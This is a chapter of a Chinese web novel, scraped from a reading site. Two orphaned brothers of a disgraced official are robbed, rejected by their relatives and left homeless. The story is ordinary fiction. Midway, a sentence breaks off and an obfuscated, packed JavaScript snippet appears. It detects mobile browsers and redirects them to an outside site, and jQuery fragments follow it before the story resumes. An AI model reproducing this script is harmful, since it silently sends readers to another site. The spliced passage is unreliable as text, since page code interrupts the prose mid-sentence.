默认冷灰
24号文字
方正启体

6. 6

作者:春棠许许本书字数:K更新时间:
    这院里只住着他们三人,亓玉宸连如何打开暗格都不知道,必定是折桂暗中偷看,知晓了他将钱财放在此处。


    亓府倒了,折桂发觉回府无望,带走了他仅剩的钱……


    少年稚嫩的手掌撑在柜子上,额头无力的磕上去,垂落的额发遮住他疲惫无力的神情,两颗豆大的泪珠从眼眶滴落,在地面溅出泪花。


    怎么办?该怎么办?


    报官?他们如今是罪臣之子,哪怕官府能帮忙抓贼,拿回来的财物也会因父亲的罪名,而被尽数充公,一个子儿都拿不回来。


    他急促的呼吸,眼泪憋回眼眶,抬头转过身,背对着亓玉宸抹了抹眼角,扮作寻常姿态,回到饭桌边继续啃已经冷了的肉包子——这可能是他们最后一顿好饭了。


    饭后,亓昭野走向院子里的水井,低头望向下方沉静的水面。


    他撸起袖子,使上全身力气去摇动辘轳,忙活半天,出了一身的汗,摇上半桶水来倒进盆里,搁在太阳底下晒。


    如此晒暖了两盆水,才叫亓玉宸出来,给他洗澡洗头发。


    洗好后,叫他在小板凳上坐下,“玉宸,你先在这儿晒一会儿,不要乱动,不然身上又脏了,就没人要你了。”


    亓玉宸眨巴眨巴大眼睛,光着屁股乖乖坐好。


    父亲和姨母不回来了,府里的下人也一个不见,连折桂都走了,只有哥哥还在……亓玉宸耸耸小鼻子,白胖的小脸上流露出些许难过,看着太阳底下搓洗衣裳的哥哥,又觉得哥哥那么厉害,一定能领他回家。


    亓昭野第一回洗衣裳,不知道要用皂角,只凭力气在水中揉搓,也不知要多洗两遍,两个小孩没力气把衣裳拧干,够不到晾衣绳,只能皱巴巴的搭在椅背上。


    好在夏天的太阳热,衣裳起皱留痕前就被烤干了,两人穿上身,重新梳好头发,再次出门去。


    “哥哥,我们要去哪儿?”亓玉宸迈着小短腿跟在亓昭野身后。


    亓昭野牵着他的手,“去找亓家长辈,让他们收留我们。”


    “不能坐马车去吗?”


    亓玉宸仍是被宠坏的孩子脾气,往日在家中园子里上蹿下跳,折腾半天都不消停,现下出门才走了一条街就觉得累。


    亓昭野放缓脚步,慢慢同他说:“父亲不在了,咱们什么都没有,得想法子养活自己,等下见了亲戚们,你乖乖的不要哭闹,万一惹人家不高兴,更不愿意帮咱们了。”


    亓玉宸似懂非懂,点点头。


    二人走过长街,抄近路绕过一条小巷,偶然瞥见里面躺着几个小乞丐,跟兄弟二人差不多年纪,头发披乱,身着破衣,满身污泥。


    亓昭野只看了一眼就加快步伐,带亓玉宸离开了那地方。


    怕小乞丐结伴来讨食,更怕……


    他低头看一眼自己还算干净的衣裳,下意识捋了捋额前零碎的鬓发,挺直脊梁:他跟他们是不一样的。


    他不会没人要,他很聪明,亲戚们都很喜欢他,他会给自己和幼弟找到依靠。


    孩子带着满心的期盼和傲气叩响了一扇扇紧闭的大门。


    “亓铮如今是罪臣,我家老爷怎么能跟罪臣之子私下勾连?你若识相,趁早离去,不然我叫人来把你们打出这条街!”


    “真是可怜啊,只是我家中人口多,哪里养得了这么多孩子?你可还有傍身的财物?铺子田产?收留你们,风险可不小,总不能叫我们白养着你们吧?”


    “谁是你亲戚,哪里来的孩子跑过来胡闹,我可不认识你们,赶紧走……”


    “亓大勇都被抓流放了,你们两个竟还在外头混着?莫不是从官兵手底下逃跑的?快来人,去通报官府,赶紧把这两个罪臣之子抓起来!”


    亓昭野又累又饿,怎么解释都无人听,只能牵着幼弟逃跑。


    亓家几房亲戚,没有一家愿意帮忙,他的尊严和希望被扔到地上踩了又踩,属于少年的鲜活跳动的心脏撕裂一般疼痛。


    他曾是天之骄子,却沦落至此。


    被当做打秋风的穷亲戚,像乞丐一样被驱赶,被那些尖酸刻薄的目光审视,被一口唾沫啐到跟前,比墙角的虫子还不如,他恨不得即刻就去死。


    可他要是死了,亓玉宸怎么办?


    于是硬撑着一口气,来到柳家门外。


    柳家的门房还算客气,笑着让二人在门外等一等,他进去传话。


    亓昭野已经无路可走,乖乖站在石狮子旁边等着,见门房进了大门去,却没听见脚步声继续往里深入,反而隐约听到门后响起两声嬉笑。


    他踩上台阶去,透过门缝,听到了刻意压低的对话声。


    “二小姐猜的不错,他们还真来了。”


    “人都来了,赶紧去找人牙子吧,早早把他们处理了,省得再牵连旁人。”


    “就是,咱家少爷还得考功名呢,怎么能跟罪臣有牵扯,还好大小姐死的早,否则这会儿想跟亓家断都断不干净。”


    亓昭野骇然睁大眼睛,一股冰冷的寒意从脊椎窜上头顶,吓得他僵直了身子。


    哪怕他不知道人牙子是做什么的,也能听出几人对话中的恶意。


    他强忍着恐惧离了门边,下来拉着亓玉宸就跑,手脚发冷,连呼吸都忘了。


    亲戚们的真面目太过狰狞,曾经信誓旦旦的承诺和相守相携的愿景,都是骗人的,先生说“万般皆下品,唯有读书高”,也是骗人的……他能读书认字,却没有人愿意收留他,也找不到能赚钱的活计。


    那些或亲或疏,冷漠的,算计的目光之下,赤/裸裸只有一个“利”字。


    他,对他人而言,一文不值。


    一天里,兄弟二人找了好几户人家,脚都走痛了,踩着夕阳的尾巴往住处去,脚步虚浮。


    亓玉宸又饿又累,原本白白胖胖的小脸都快没了血色,边走边哭,又想着哥哥叮嘱过不能哭闹,只好咬唇忍住哭声,哼哼唧唧,眼泪啪嗒啪嗒的往下掉。


    亓昭野神情呆滞,将他抱起来走了一会儿,饿的没力气,又把他放下了。


    没有吃的,要去哪里弄钱呢?


    好饿……


    亓昭野什么都想不了了,只想回到住处躺到明天,睡着了就不会饿了。


    不料才到院门外,就见一个陌生人从院子里走出来,关上院门,从外面落上了锁。


    亓昭野大惊,上前问询才知道,折桂当时租房子只租了七天,今天已是最后期限,房东来收房,不见有人,才锁上了门。


    “想续租的话,一天五十文,要是你们租住的时间长,价钱还可以再商量。”


    房东说罢,兄弟二人窘迫的低着头,请求的话说不出口。


    房东啧了一声,“若拿不出现钱,你们身上的绸缎衣裳还值两个钱,若把衣裳给我,也能让你们再住两天。”


    在外走动,没有衣裳怎么行?


    亓昭野坚决摇头。


    现在是夏天,睡在外面也可以,往日的夏夜,他常在树荫底下打凉席睡。


    他拒绝了房东的提议,带着亓玉宸走出了巷子。


    夜幕降临,亓玉宸已经没力气再哭,迷迷糊糊的,软胖的小手紧紧的抓着他的手指,“哥哥,我们怎么不回家啊?”


    他们已经没有家了。


    无家可归,流落街头……


    亓昭野想起了白日里瞥见的那几个小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980503|193561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乞丐,恍惚间,茫然的恐惧升上心头:没有人要他们,他和亓玉宸就要变成乞丐了。


    念及此,泪水湿润了眼眶,视线模糊中,他极力思考眼下还有没有可求的人。


    无论亲疏远近,无论贫穷富贵,只要还有一点善心,愿意收留他们兄弟两个,哪怕是让他做书童做小厮,只要能有个住处,有口热饭,他无论做什么都愿意。


    走在街上,入目是匆忙的行人,两侧店铺的老板眼睛向上,笑眯眯的招揽生意,视线自然的掠过两个没人管的孩子。


    墙角的阴影处,是扎堆的乞丐。


    亓昭野带着亓玉宸从他们之中走过,第一次看到了那些陌生的脸。


    有钱有势时,出门坐马车,进店有奉承,迎面都是和善的笑脸和数不尽的赞美,如今一无所有,便像路面上的一粒灰,人人忽视,人人嫌弃。


    谁会管他们呢?


    走了一路,亓昭野想不到任何一个。


    入夜,街上渐渐没什么人了,亓昭野找了个无人的墙角,和亓玉宸一起缩进角落,听着肚子咕噜噜的响动,疲惫的睡去。


    “他都九岁了,哪里还要人抱?”


    微风吹过耳畔,父亲的声音空灵悠长,由远及近,不似记忆中严肃沉闷,尾音添了些慈爱的嗔怪。


    “又不是抱不动,作什么委屈他。”女子的声音柔软温和,轻笑两声,如银铃一般,胸腔的震动从他的臂膀处传开,震得他后背发痒,心里是满满的充实。


    “昭儿是个乖孩子,就是有点太懂事了,人还没长大,倒学会了自己扛事。”她柔声说着,抱他在怀中掂了掂。


    萦绕着香气的指尖点在他眉心,温柔的哄他,“有你爹和姨娘在呢,不会让昭儿独自承担。”


    亓昭野看不清她的脸,却嗅到空气中弥散的杏花香味,像她一样轻盈美丽,白里透粉,清新淡雅,是最美好的春日时节,一切都那么温暖如新生。


    “姨娘……”他趴在女人肩上,怯生生的搂住她,呢喃一声。


    梦醒,头顶一轮凉月照亮夜空。


    耳边唯余寂静的风声。


    亓昭野看了眼缩在他怀里熟睡的亓玉宸,垂下眼眸,心中惆怅又别扭:怎么会梦到那个女人,明明他一点都不喜欢她……


    一边想着,不自觉闭上眼睛,想要重温梦中安稳的幸福,却怎么续不上了。


    亓昭野默默咬牙。


    不该叫出口的,若不唤她,好歹还能把美梦做长,过了这夜去。


    他记得,她叫青鸾。


    许是在梦里经历的圆满太过美好,久久难以忘怀,竟让他产生了一种“试试去投奔她”的想法,毕竟眼下,他已经没有可以求助的人了。


    不想做乞丐,想要有吃的、有地方住,他必须去试一试。


    天刚擦亮,亓昭野就背着还没睡醒的亓玉宸往御街方向赶去,他迫不及待想要见到她,想要得到一个结果,无论是好是坏。


    到了地方,只看到上锁的房门。


    “你们找住在这儿的那位娘子?她早就已经搬走了。”


    “都走了半个多月了,她也怪可怜的,给人做外室,没成想那男人死了,她没名没分也没个依靠,守在这儿做什么呢,只能回老家去了。”


    走了半个多月——父亲的棺椁入京下葬的那两天,她就走了,悄无声息。


    站在那扇紧锁的门外,亓昭野心中苦涩,只觉得自己傻。


    原来她早就走了。


    比任何人都薄情,冷漠。


    他恨她,像恨所有见死不救、背弃誓言的族亲们一样恨她,可心头泛起的酸涩让他喉头哽咽,绝望的泪水远比恨意更汹涌。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)